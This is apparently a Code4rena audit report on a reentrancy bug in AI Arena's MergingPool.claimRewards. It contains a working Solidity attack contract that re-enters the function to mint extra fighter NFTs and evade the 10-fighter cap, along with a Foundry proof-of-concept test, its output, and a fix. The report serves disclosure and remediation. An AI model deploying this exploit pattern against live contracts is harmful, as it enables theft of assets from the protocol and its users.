AI Arena - zxriptor's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L148-L163

Vulnerability details

Reentrancy in MergingPool.sol: malicious player can mint extra rewards

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L148-L163

Vulnerability details

Impact

A winner who won more than 1 rounds and has not claimed rewards, can leverage reentrancy in MergingPool.sol::claimRewards function to mint extra rewards. For example:

• a player who won 2 rounds with 2 fighters can mint 6 rewards total: 4 legit plus 2 extra due to reentrancy bug.
• 3 rounds with 2 fighters: 12 total (6 legit + 6 extra).
• 4 rounds with 2 fighters: 20 total (8 legit + 12 extra).

In general, the number of extra rewards that can be minted is determined as triangular number of rounds played:

extraRewards = n * (n + 1) / 2 * fightersCount

where n is number of winning rounds minus 1.

Moreover, a limitation of 10 fighters maximum per player can be bypassed by transferring NFT tokens to another accounts.

Proof of Concept

The following coded PoC demonstrates 6 extra rewards minting from 3 rounds.

Attack contract (owner of fighters):

import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {MergingPool} from "../src/MergingPool.sol";

contract PlayerContract {
    address private _eoa;
    MergingPool private _mergingPool;
    bool private _active;
    
    constructor(address mergingPool) {
        _eoa = msg.sender;
        _mergingPool = MergingPool(mergingPool);
    }
    
    function activate() external {
        require(msg.sender == _eoa, "Only owner");
        _active = true;
    }
    function onERC721Received(
        address,
        address from,
        uint256 tokenId,
        bytes memory
    ) 
    public 
    returns (bytes4) 
    {
        if (_active) {
            // transfer received nft to eoa to bypass 10 fighters limitation
            uint256 eoaBalance = IERC721(msg.sender).balanceOf(_eoa);
            if (eoaBalance < 10) {
                IERC721(msg.sender).transferFrom(address(this), _eoa, tokenId);
            }

            uint256 rewards = _mergingPool.getUnclaimedRewards(address(this));
            if (rewards > 0) {
                string[] memory _modelURIs = new string[](rewards);
                for (uint i = 0; i < rewards; i++) _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

                string[] memory _modelTypes = new string[](rewards);
                for (uint i = 0; i < rewards; i++) _modelTypes[i] = "original";

                uint256[2][] memory _customAttributes = new uint256[2][](rewards);
                for (uint i = 0; i < rewards; i++) {
                    _customAttributes[i][0] = uint256(1);
                    _customAttributes[i][1] = uint256(80);
                }

                _mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
            }
        }

        return this.onERC721Received.selector;
    }
}

Please add the following test into test\MergingPool.t.sol:

function testGetUnclaimedRewardsForWinnerOfMultipleRoundIdsReentrancy() public {
    // eoa is used to mint more rewards than 10 maximum allowed
    address eoa = address(0x0004);

    vm.prank(eoa);
    PlayerContract playerContract = new PlayerContract(address(_mergingPoolContract));

    _mintFromMergingPool(address(playerContract));
    _mintFromMergingPool(address(playerContract));

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;
    
    // play and win 3 rounds
    _mergingPoolContract.pickWinner(_winners);
    _mergingPoolContract.pickWinner(_winners);
    _mergingPoolContract.pickWinner(_winners);

    uint balanceBefore = _fighterFarmContract.balanceOf(address(playerContract));
    console.log("balance before", balanceBefore);

    uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(address(playerContract));
    console.log("earned rewards", numRewards);

    string[] memory _modelURIs = new string[](numRewards);
    for (uint i = 0; i < numRewards; i++) _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    string[] memory _modelTypes = new string[](numRewards);
    for (uint i = 0; i < numRewards; i++) _modelTypes[i] = "original";

    uint256[2][] memory _customAttributes = new uint256[2][](numRewards);
    for (uint i = 0; i < numRewards; i++) {
        _customAttributes[i][0] = uint256(1);
        _customAttributes[i][1] = uint256(80);
    }

    // activate contact reentrancy logic
    vm.prank(eoa);
    playerContract.activate();

    // claim rewards
    vm.prank(address(playerContract));
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

    uint balanceAfter = _fighterFarmContract.balanceOf(address(playerContract));
    uint eoaBalance = _fighterFarmContract.balanceOf(address(eoa));
    console.log("player balance after", balanceAfter);
    console.log("eoa    balance after", eoaBalance);
    assertEq(balanceAfter + eoaBalance, balanceBefore + numRewards);
}

Run test:

$ forge test -vv --match-test testGetUnclaimedRewardsForWinnerOfMultipleRoundIdsReentrancy

Output:

Running 1 test for test/MergingPool.t.sol:MergingPoolTest
[FAIL. Reason: Assertion failed.] testGetUnclaimedRewardsForWinnerOfMultipleRoundIdsReentrancy() (gas: 6413245)
Logs:
  balance before 2
  earned rewards 6
  player balance after 4
  eoa    balance after 10
  Error: a == b not satisfied [uint]
        Left: 14
       Right: 8

Tools Used

Manual review, Foundry tests

Recommended Mitigation Steps

It is safe to update numRoundsClaimed variable before the loop to the state expected at the end of claimRewards function execution:

        uint32 lowerBound = numRoundsClaimed[msg.sender];
+++     numRoundsClaimed[msg.sender] = roundId;
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
---         numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }

Assessed type

Reentrancy